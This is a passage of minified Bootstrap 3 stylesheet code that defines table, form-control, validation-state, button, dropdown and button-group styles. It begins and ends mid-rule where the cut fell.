th[class*=col-]{position:static;display:table-cell;float:none}caption{padding-top:8px;padding-bottom:8px;color:#777}caption,th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered,.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover,.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;margin:0}fieldset,legend{padding:0;border:0}legend{display:block;width:100%;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;appearance:none}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=checkbox]:focus,input[type=file]:focus,input[type=radio]:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{padding-top:7px}.form-control,output{display:block;font-size:14px;line-height:1.42857;color:#555}.form-control{width:100%;height:34px;padding:6px 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{line-height:34px}.input-group-sm>.input-group-btn>input.btn[type=date],.input-group-sm>.input-group-btn>input.btn[type=datetime-local],.input-group-sm>.input-group-btn>input.btn[type=month],.input-group-sm>.input-group-btn>input.btn[type=time],.input-group-sm>input.form-control[type=date],.input-group-sm>input.form-control[type=datetime-local],.input-group-sm>input.form-control[type=month],.input-group-sm>input.form-control[type=time],.input-group-sm>input.input-group-addon[type=date],.input-group-sm>input.input-group-addon[type=datetime-local],.input-group-sm>input.input-group-addon[type=month],.input-group-sm>input.input-group-addon[type=time],.input-group-sm input[type=date],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],.input-group-sm input[type=time],input[type=date].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm,input[type=time].input-sm{line-height:30px}.input-group-lg>.input-group-btn>input.btn[type=date],.input-group-lg>.input-group-btn>input.btn[type=datetime-local],.input-group-lg>.input-group-btn>input.btn[type=month],.input-group-lg>.input-group-btn>input.btn[type=time],.input-group-lg>input.form-control[type=date],.input-group-lg>input.form-control[type=datetime-local],.input-group-lg>input.form-control[type=month],.input-group-lg>input.form-control[type=time],.input-group-lg>input.input-group-addon[type=date],.input-group-lg>input.input-group-addon[type=datetime-local],.input-group-lg>input.input-group-addon[type=month],.input-group-lg>input.input-group-addon[type=time],.input-group-lg input[type=date],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],.input-group-lg input[type=time],input[type=date].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg,input[type=time].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox-inline input[type=checkbox],.checkbox input[type=checkbox],.radio-inline input[type=radio],.radio input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm,.input-group-lg>.form-control-static.form-control,.input-group-lg>.form-control-static.input-group-addon,.input-group-lg>.input-group-btn>.form-control-static.btn,.input-group-sm>.form-control-static.form-control,.input-group-sm>.form-control-static.input-group-addon,.input-group-sm>.input-group-btn>.form-control-static.btn{padding-right:0;padding-left:0}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn,.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.input-group-sm>.input-group-btn>select.btn,.input-group-sm>select.form-control,.input-group-sm>select.input-group-addon,select.input-sm{height:30px;line-height:30px}.input-group-sm>.input-group-btn>select.btn[multiple],.input-group-sm>.input-group-btn>textarea.btn,.input-group-sm>select.form-control[multiple],.input-group-sm>select.input-group-addon[multiple],.input-group-sm>textarea.form-control,.input-group-sm>textarea.input-group-addon,select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn,.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.33333;border-radius:6px}.input-group-lg>.input-group-btn>select.btn,.input-group-lg>select.form-control,.input-group-lg>select.input-group-addon,select.input-lg{height:46px;line-height:46px}.input-group-lg>.input-group-btn>select.btn[multiple],.input-group-lg>.input-group-btn>textarea.btn,.input-group-lg>select.form-control[multiple],.input-group-lg>select.input-group-addon[multiple],.input-group-lg>textarea.form-control,.input-group-lg>textarea.input-group-addon,select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.33333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.33333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-group-lg>.form-control+.form-control-feedback,.input-group-lg>.input-group-addon+.form-control-feedback,.input-group-lg>.input-group-btn>.btn+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-group-sm>.form-control+.form-control-feedback,.input-group-sm>.input-group-addon+.form-control-feedback,.input-group-sm>.input-group-btn>.btn+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success.checkbox-inline label,.has-success.checkbox label,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.radio-inline label,.has-success.radio label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning.checkbox-inline label,.has-warning.checkbox label,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.radio-inline label,.has-warning.radio label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error.checkbox-inline label,.has-error.checkbox label,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.radio-inline label,.has-error.radio label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}.form-horizontal .form-group:after,.form-horizontal .form-group:before{display:table;content:" "}.form-horizontal .form-group:after{clear:both}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;margin-bottom:0;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;touch-action:manipulation;cursor:pointer;background-image:none;padding:6px 12px;font-size:14px;line-height:1.42857;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);opacity:.65;-webkit-box-shadow:none;box-shadow:none}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.btn-default.dropdown-toggle{color:#333;background-color:#e6e6e6;background-image:none;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.btn-default.dropdown-toggle.focus,.open>.btn-default.dropdown-toggle:focus,.open>.btn-default.dropdown-toggle:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.btn-primary.dropdown-toggle{color:#fff;background-color:#286090;background-image:none;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.btn-primary.dropdown-toggle.focus,.open>.btn-primary.dropdown-toggle:focus,.open>.btn-primary.dropdown-toggle:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled].focus,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.btn-success.dropdown-toggle{color:#fff;background-color:#449d44;background-image:none;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.btn-success.dropdown-toggle.focus,.open>.btn-success.dropdown-toggle:focus,.open>.btn-success.dropdown-toggle:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.disabled.focus,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.btn-info.dropdown-toggle{color:#fff;background-color:#31b0d5;background-image:none;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.btn-info.dropdown-toggle.focus,.open>.btn-info.dropdown-toggle:focus,.open>.btn-info.dropdown-toggle:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.disabled.focus,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled].focus,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.btn-warning.dropdown-toggle{color:#fff;background-color:#ec971f;background-image:none;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.btn-warning.dropdown-toggle.focus,.open>.btn-warning.dropdown-toggle:focus,.open>.btn-warning.dropdown-toggle:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.disabled.focus,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled].focus,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.btn-danger.dropdown-toggle{color:#fff;background-color:#c9302c;background-image:none;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.btn-danger.dropdown-toggle.focus,.open>.btn-danger.dropdown-toggle:focus,.open>.btn-danger.dropdown-toggle:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.disabled.focus,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled].focus,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-property:height,visibility;transition-property:height,visibility;-webkit-transition-duration:.35s;transition-duration:.35s;-webkit-transition-timing-function:ease;transition-timing-function:ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{left:0;right:auto}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar:after,.btn-toolbar:before{display:table;content:" "}.btn-toolbar:after{clear:both}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group-lg.btn-group>.btn+.dropdown-toggle,.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open 